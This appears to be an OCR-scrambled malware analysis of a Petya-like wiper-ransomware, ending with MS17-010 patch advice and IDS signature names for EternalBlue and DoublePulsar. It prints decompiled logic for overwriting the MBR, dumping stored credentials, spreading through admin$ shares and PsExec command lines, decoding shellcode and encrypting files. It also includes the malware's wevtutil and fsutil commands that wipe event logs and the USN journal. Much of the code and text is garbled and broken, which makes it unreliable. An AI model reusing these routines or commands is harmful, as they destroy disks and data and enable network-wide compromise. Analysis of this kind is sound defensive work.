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SeShutDownPrivilege,SeDebugPrivilege,SeTcbPrivilege



VUBHYSSH > puzn BLX

008A953E FF75 FC push dword ptr [ebp-4] 3
BB8AS53E 50 push eax
aaRa0cacl. _ corc.oce o ... — G, Anasdtete e e Rl - =

FF15 BCD18ABS Icall kernel32 WriteFile

BBBAIS LS FF75 F& push

BA8A9S4B 56 push esi

@0BA9SHCI  FFD7 fcall edi

BBBAYSLE e push eax

BOBAYS4F FF15 D4D18AGE - dword ptr [BAD1D4] ntdll.Rt1lFreeHeap

BBBAYS5S FF75 F8 push

dword ptr [SADBBC]
dword ptr [S8BF10C]._eax

. 008AP367
— it i————————test eax eax :
. Famdd 1] short DBBAOSSY '
FF75 9~ push dword ptr [ebp+14]
G | push dword ptr [ebp+10] .
TETE L push dword ptr [ebp+C]
I LR push dword ptr [ebp+&]
Le GELMELREE call BB88A7DER !
+ BBEA9584| 56 jpush esi i
. - g T ARSADIRGI=7ERIAEL7 (kerneld? WriteFilay
pfils = <I: ... 0B DO 0O 0D OO G0 GO0 OO OO OO OO 0O 60 GO0 00
JFGYF8 || Buffer = ODOFGYFS ONOFG203 | 0B B8 BB G B0 A0 B0 OO OO PO 6O 0BG 68 B0 BB 5 - HOOGACTL] 0l
158778 || nBytesTolrite = 58778 (362361 BOEF6E18 90 00 08 60 B0 G0 BO OO0 08 BO A6 66 60 00 08 HHB6ACIE| BBl
pBytesWritten HHOGACE Y HUBFOGEZ8| BB BB PO BB B0 B0 6P 00 OB DA A 8O 60 GO 0O HHHOACIC| BB

—___apoccanclag .9p .88 .09 .08.90.08 .00 .08. 90 .08.00 08 .
g BQ BT BEBE 8L
Q- B0 -BQT (- BY B2 B0 4]

3. c MBR

€D SeDebugPrivilege 10 (521*10 )
C 10

vl = CreateFileA{""\\\%.A\AC:", Bx40000000u, 3u, 8, 3u, 6, 68);

if § ve )

{

if ( DeviceloControl{v@, IOCTL_DISK_GET_DRIVE_GEOMETRY, @8, 8, &0utBuffer, 24u, &BytesReturned, @) )

r SetFilePointer v@. OutBuffe
BytesReturned WriteFileiwd. w1, OutBuffer

Moy T

8 CloseHandle. u
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- FRECES PR,
_DWORD = _DWORD =
_DWORD =
qmemcpL
-y
MBR
if ( v19 )
{
do
{ e
result = write_disk{v20, &FileName, (LPCUDID)}ui3);// FFHHBR,B)ZFH{ZEZ.
if ( result € 8 )
break;
++u20;
uild += Px2AA:
ny
20 v19
result
31F8F8 = result dword_181
1t =1 i~ rest
= write_disk(32, &FileHane, &Buffer);// HAFMILAZE result
1881F8F8 = result; dword_"
:sult >= 8 ) if ( re
i
It = write_disk(33, &FileNanme, &u21);// 1E7; 0807 resul
1_10681F8F8 = result; dworc
result  write_disk. FileHame  mbr_data
MBR






(@) ID 3 Windows dllhost.dat
PsExec.exe exe bat vbs



v? = CredEnumerateW{d, A, &ui3d, &ui2);
if { w9 )
{
vl = B;
vig = B8;
if ( v12 > B )
{
while { 1 )
{
u2 = ui2 + 4 = ui;
v3 = ={ DWORD =*}u2;
vy = ={char ==x){=( DWORD =)u2 + 8);
if { uh )
{
vi1 = 8;

ut = L"TERHMSRU/";
uh = ={const wchar_t ==)(=x{ DWORD =}ju2 + 8);
while { *=uf == =y5 )
1
++uﬁ;
++u5;

Rl

: -1 1;

if ( CetSystembirectoryl(&Buffer, Ox30Cu) && PathAppendW(&Buffer, L"shutdoun.exe /v /") )

{
if ( sub_18888494() )
{
vl = L"/RU \"SYSTEM\" *;
if { *(token_mask & &) )
vl = (const wchar_t =)&unk_10814388;
wsprintfU{&uvi, L"schtasks %ws/Create /SC once /TH \'\" /TR \"%uws\" /ST %02d:%02d", vk, &Buffer, u3, v2);
H
else
{
wsnrintFWf&uhA . 1 "at 2A2d 2824 2us" 02 0?  RRuffary-
S AMT LT e
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call Allitl oo TIUUTES S
mav ebx, ds:CreateThread 10807E8?
push edi ; 1pThreadId 10007E8F
push edi ; duCreationFlags 10007E90

push edi r""""'} 1pParameter 10807E91

- FaleTT s,

100807E97 - St L
10867E98 oS A .
VO T My,
v? = socket(2, 1, B);
if vz )
{
name.sa_family = 2;
*#( DWORD =)&name.sa_data[2] = ai;
#( WORD =)&name.sa_data[@] = htons{hostshort});
if { ioctlsocket{v?, -2147195266, &argp) *= -1 )
{
connect{v?, &name, 16);
writefds.fd_array[8] = vZ;
yritefds.fd_count = 1;
timeout.tu_sec = 2;
timeout.tu_usec = @;
— n [ u

vd = NEtSeruerEnuﬁ(B, #x65u, &bufptr, BxFFFFFFFF, &entriesread, &totalentries, servertype, domain, &resume_handle});
if ( v3 && v3 t= 234 )
1
domaina = 8;
H
else
{
domaina = (LPCUSTR}1;
if { tbufptr )
return domainaj
vl = B;
if { entriesread > 8 )

us = bufptr + u;

do
{
if ( uS == (LPBYTE)%4 )
break;
if { *=((_DWORD *)uS + 3) & Bx8AAAAAAA )
{

SeruerScan(al, 3u, *(LPCUSTR *)u5);

H
else if ( =({ DVORD #)uS - 1) == 500 && (*({ DWORD *)u5 + 1) & BxFu) > 4 )
{
memset_@{*x(char =*)us, 8);
H
uS += 24;
+ryul;

DhcpEnumSubnets DHCP IP
139 445 DhcpEnumSubnets() DHCP






wsprintfW(&Hame, L™\\\\%s\\admin$",

HetResource . dwScope = 8;

menset{&HetResource .duType, 8, 8x1Cu);

HetResource . lpRemoteMame = &Hame ;

HetResource.duType = 1;

sub_18888B70(&v23);

wsprintfW(&FileHame, L™\\\\Viws\iadmin$y\%ws™,

while { 1)

{ /7 IRAEER
pszPath = 8;

hEvictinaTonlan =
BT RO o= SPLEL

ad);

ad, &U23);

A% adnin$ BE |-

-
LdnllcorHapn. o Ay -
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‘rocessFileBuff

iriteFile 9 aF

if ( tduErrcode )

buildGnd{ (WCHAR
us o= 8;

=)ecmdline, (WCHAR =)&u29, a3};//

i
if { duErrCode == 1)

-d G:\\Hindows\\Systemd2\\rundll32.exe \'C:\\Windows\i\%s\',#1 %s \\\\%s -accepteula -s

{
if ( tlpUserNHame || tlpPassuord )
goto LABEL_53;
_....buildRenotel aainf.(HCHAR x)Enodling, LUCHAR Q&2 . gl  iiplylpserHane. fintilnPassunrdy:
L —=
LPCUSTR [INNEEI
LPUSTR
struct _STARTUPINFOW *  char =
struct _PROCESS_INFORHATION = char = HANDLE LPCUS"
e w e s
u7 = sub 100859?E((1nt)&Dst, cp, 445u, @, a?, a3, ah4, a5, a6, a’);
if w7 )
sub_18882868();
result = uy;
¥
else

byte_1881F8FD = 0;

0 = cih AAAACAFCSf5int AP0+ | BWEn fintlouh AAARACTE 729,

i

L




oc_18863D8A:
ou cl, ds:shellcode[eax]
cl, BCCh
[esi+eax+1F1h], cl
eax

eax, ?77h

*(_BYTE =){vi + 8) = 3
®={_ BYTE =){v3 + 48} =

={_ DWORD
={_ DWORD
={_ DWORD
={_ DWORD
={_ DWORD
={_DWORD
={_DWORD
={_DWORD
={_DWORD
={_DWORD
={_DWORD
={_ DWORD
v = @;
do

{

B

#)(v3 + 168)

#){v3
#){v3
#){v3
#){v3
*){u3
*){u3
*){u3
*){u3
*){u3
*#)({v3
#){v3

+

+
+
+
+
+
+
+
+
+
+

164)
168)
172)
192)
196)
396)
La4)
4723
476}
488)
4923

-3145552;
-1;
-3145552;
-1;
-2181856;
2181856 ;
—-2108848;
2188752 ;
—-3145232;
_1;
-3145216;
-1;

LI | | N Y| N | | | R | | B [ - RN}

#( BYTE #=){(u3 + u5 + 497) = exploite pack[v5] * BxCC;

++uh;

¥

while { v5 < Bx977 );

RSA+AES RSA



result = {signed int)LocalAlloc{Bx4Bu, Bx28u);
if ( result )

*{_ DWORD =){result + 16) = 1 "MIIBCgKCAQEAXP/UqKe AyLe?JhUgFHQGuIITOGMPXWNKSHNOAYTB065CH 8P jI0InTeHkXE]FO2n 2 nURWY u™
CHEATE 1R v YIBul ROPE I3 EDgnNI S 0o PRty EdnliVaope g+ L TBZ 20 22 THBAZBE XUGRKREEFL CyFuP 1268
Lt MO e e R G e R P REE BT E R b a AN TP AN v b T LA FORRP Sy PE AL Mot S TR T A P e
iFe LGN CU0ETNZUTSFRar FSURAGDS BRkr sHa/ Felir v3EdoE L )n+ cILF LRednar gafnby s i¥nafue suus Gy
"PEAUHNH vl e0n a2 RERERes JulDAOAB™ ;
*{_DWORD =}{result + 28} = 8;
*={ DWORD =)result = ={ DWORD *)RootPathMame;
*#{ DUORD =*)}{result + 4) = uh;

e : PR

K

vk = L"Hicrosoft Enhanced RSA and AES Cryptographic Provider";

¥
if { f*CryptAcquireContextW{{HCRYPTPROU =)}lpThreadParameter + 2, @, ul, @x18u, uS}) }

goto LABEL_18;
ABEL_7:
u2 = 1pThreadParameter;
i cub_18881BLE! 1n=:

int FileSearchfAndEncryted LPCUSTR
Gen_TipinFo. LPCUSTR
Crypthestroykey. { _DWORD =
CryptReleaseContext _DUWORD ==

LocalFree

2 C:\\Windows
"C:\\Windows;",

TSI,

i 3 fee @ FindMextFilel @i . &
Hiniti'ne o @S nd o 3=
README.TXT
10.

R s

wsprintfu{
Bu13,
L weututil cl Setup & wewtutil cl System & weututil cl Security & wevtutil cl Application & fsutil usn deletejournal /D %c:",
pszPath);

uly = @;

cuh A0ARKIRNSFinFIR01T 23 -



1 Windows MS17-010

https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

2 WMI Windows Management Instrumentation

services.msc
Windows Management Instrumentation

WMI
3 Minikit

regedit


https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
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TCP_NSA_EternalBlue_( )_SMB [MS17-010]
TCP_NSA_EternalBlue_( )_SMB _shellcode
TCP_NSA_EternalBlue_( )_SMB (win7/2008-x64)

TCP_NSA_Windows_SMB_DoublePulsar
TCP_NSA_SMB shellcode

2 APT




